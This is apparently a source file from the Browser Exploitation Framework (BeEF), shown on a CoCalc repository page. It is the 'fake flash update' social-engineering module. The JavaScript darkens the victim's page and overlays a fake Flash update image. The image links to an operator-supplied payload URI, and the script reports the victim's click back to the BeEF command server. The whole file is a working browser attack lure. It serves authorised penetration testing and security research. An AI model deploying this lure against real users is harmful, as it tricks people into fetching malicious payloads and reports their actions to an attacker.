Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/fake_flash_update/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// Module Configurations
10
var image = "<%== @image %>";
11
12
// Function to gray out the screen
13
var grayOut = function(vis, options) {
14
var options = options || {};
15
var zindex = options.zindex || 50;
16
var opacity = options.opacity || 70;
17
var opaque = (opacity / 100);
18
var bgcolor = options.bgcolor || '#000000';
19
var dark=document.getElementById('darkenScreenObject');
20
if (!dark) {
21
var tbody = document.getElementsByTagName("body")[0];
22
var tnode = document.createElement('div');
23
tnode.style.position='absolute';
24
tnode.style.top='0px';
25
tnode.style.left='0px';
26
tnode.style.overflow='hidden';
27
tnode.style.display='none';
28
tnode.id='darkenScreenObject';
29
tbody.appendChild(tnode);
30
dark=document.getElementById('darkenScreenObject');
31
}
32
if (vis) {
33
var pageWidth='100%';
34
var pageHeight='100%';
35
dark.style.opacity=opaque;
36
dark.style.MozOpacity=opaque;
37
dark.style.filter='alpha(opacity='+opacity+')';
38
dark.style.zIndex=zindex;
39
dark.style.backgroundColor=bgcolor;
40
dark.style.width= pageWidth;
41
dark.style.height= pageHeight;
42
dark.style.display='block';
43
} else {
44
dark.style.display='none';
45
}
46
};
47
48
// Create DIV
49
var flashdiv = document.createElement('div');
50
flashdiv.setAttribute('id', 'flashDiv');
51
flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');
52
flashdiv.setAttribute('align', 'center');
53
document.body.appendChild(flashdiv);
54
55
// window.open is very useful when using data URI vectors and the IFrame/Object tag
56
// also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
57
flashdiv.innerHTML = "<a href=\"<%== @payload_uri %>\" target=\"_blank\" ><img src=\"" + image + "\" /></a>";
58
59
// gray out the background
60
grayOut(true,{'opacity':'30'});
61
62
// clean up on click
63
$j("#flashDiv").click(function () {
64
$j(this).hide();
65
document.body.removeChild(flashdiv);
66
grayOut(false,{'opacity':'0'});
67
document.body.removeChild(document.getElementById('darkenScreenObject'));
68
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');
69
});
70
71
});
72
73